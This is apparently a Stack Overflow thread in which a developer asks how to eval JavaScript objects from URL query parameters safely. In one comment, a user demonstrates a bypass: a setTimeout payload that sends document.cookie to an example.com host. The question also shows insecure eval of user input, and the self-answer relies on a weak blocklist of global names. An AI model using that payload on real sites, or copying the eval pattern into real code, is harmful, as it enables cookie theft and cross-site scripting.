0

In my web app, I would like to accept arbitrary JavaScript objects as GET parameters. So I need to parse location.search in a way similar to eval, but I want to create self-contained objects only (object literals, arrays, regexps and possibly restricted-access functions):

var search =
    location.search ?
    decodeURIComponent(location.search).substring(1).split('&') :
    ['boo=alert(1)', 'filter={a: /^t/, b: function(i){return i+1;}}']
;
var params = {};
for (var i = 0, temp; i < search.length; i++){
    temp = search[i].split('=');
    temp = temp[1] ? temp : [temp[0], null];
    params[temp[0]] = saferEval(temp[1]);
};
console.log(params);

I came up with a version of saferEval function that blocks access to global variables, but it does not block access to built-in functions like alert():

var saferEval = function(s) {
    'use strict';
    var deteleGlobals =
        'var ' +
        Object.getOwnPropertyNames(window)
          .join(',')
          .replace(/(?:eval|chrome:[^,]*),/g, '') +
        ';'
    ;
    try {
        return eval(deteleGlobals + '(' + s + ');') || s;
    } catch(e) {
        return s;
    };
};

See my jsFiddle - alert(1) code is executed. Note that top.location is not accessible to jsFiddle scripts, you have to run the code locally if you want to fiddle with actual query parameters like ?filter={a: /%5Cd+/g}.

I would use JSON, but I need to have regular expressions at arbitrary places inside arrays and objects. I do not send any of these object back to the server, so using eval for this shouldn't harm the security so much...

How can I convert a string (that encodes JavaScript object) into object without giving it access to global namespace and built-in functions?

UPDATE - only useful "arbitrary" objects turned out to be regexp literals...

10
  • Do you need code in this? Or just regex values? If not code, but just regex values, you could put the regex items in as strings and then put indicators in for which strings are regexes and you could use regular and safe JSON decoding and then post process to find the regex values and convert them to regexes. Commented Oct 26, 2013 at 23:46
  • possible duplicate of Restricting eval() to a narrow scope Commented Oct 26, 2013 at 23:47
  • @jfriend00 I need just regexes, but I am a bit interested in functions as well. If you can give me a function to do regular JSON decoding and then convert some strings at arbitrary depth into regexes, it would be a very useful answer. Commented Oct 26, 2013 at 23:52
  • @Qantas94Heavy Accepted answer uses with, but I want to use strict mode if possible... Anyway, does any of the answer there prevent execution of alert()? Commented Oct 26, 2013 at 23:57
  • 1
    @deathApril This works ?cake=setTimeout("window.open(\"http://www.example.com?\"%20+%20document.cookie)",%201) Commented Oct 28, 2013 at 16:35

2 Answers 2

1

Per your comment that you'd be interested in seeing a solution that just solves the issue of having regex values in your JSON, then you could encode all regex values as strings in normal JSON like this:

"/this is my regex/"

Then, process the JSON normally into a javascript object and then call this function on it which will recursively walk through all objects and arrays, find all items that are strings, check them for the above format and, if found, convert those items to regular expressions. Here's the code:

function isArray(obj) {
    return toString.call(obj) === "[object Array]";
}

function isObject(obj) {
    return Object.prototype.toString.call(obj) === '[object Object]'
}

var regexTest = /^\/(.*)\/([gimy]*)$/;

function convertRegex(item) {
    if (isArray(item)) {
        // iterate over array items
        for (var i = 0; i < item.length; i++) {
            item[i] = convertRegex(item[i]);
        }
    } else if (isObject(item)) {
        for (var prop in item) {
            if (item.hasOwnProperty(prop)) {
                item[prop] = convertRegex(item[prop]);
            }
        }
    } else if (typeof item === "string") {
        var match = item.match(regexTest);
        if (match) {
            item = new RegExp(match[1], match[2]);
        }
    }
    return item;
}

And a sample usage:

var result = convertRegex(testObj);

Test environment that I stepped through the execution in the debugger: http://jsfiddle.net/jfriend00/bvpAX/

Sign up to request clarification or add additional context in comments.

3 Comments

'/ab/ig' should be converted to regex, and not sure if JSON.parse produces just strings or numbers as well, but the principle looks sound, +1
@deathApril - I updated it to support regex flags too. JSON.parse() does support numbers.
I will probably preprocess non-well-formed-JSON input format such as {a: /234/g} with location.search.replace(/['"]?\/(.*)\/([gimy])*['"]?/g, '"/$1/$2"') and use this solution
0

Until there is better solution, I will add alert (and the like) into my list of local variables which would overshadow global/built-in functions within the eval scope:

var deteleGlobals =
    'var ' +
    Object.getOwnPropertyNames(window)
      .join(',')
      .replace(/(?:eval|chrome:[^,]*),/g, '') +
    ',alert,confirm,prompt,setTimeout;'
;

jsFiddle

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.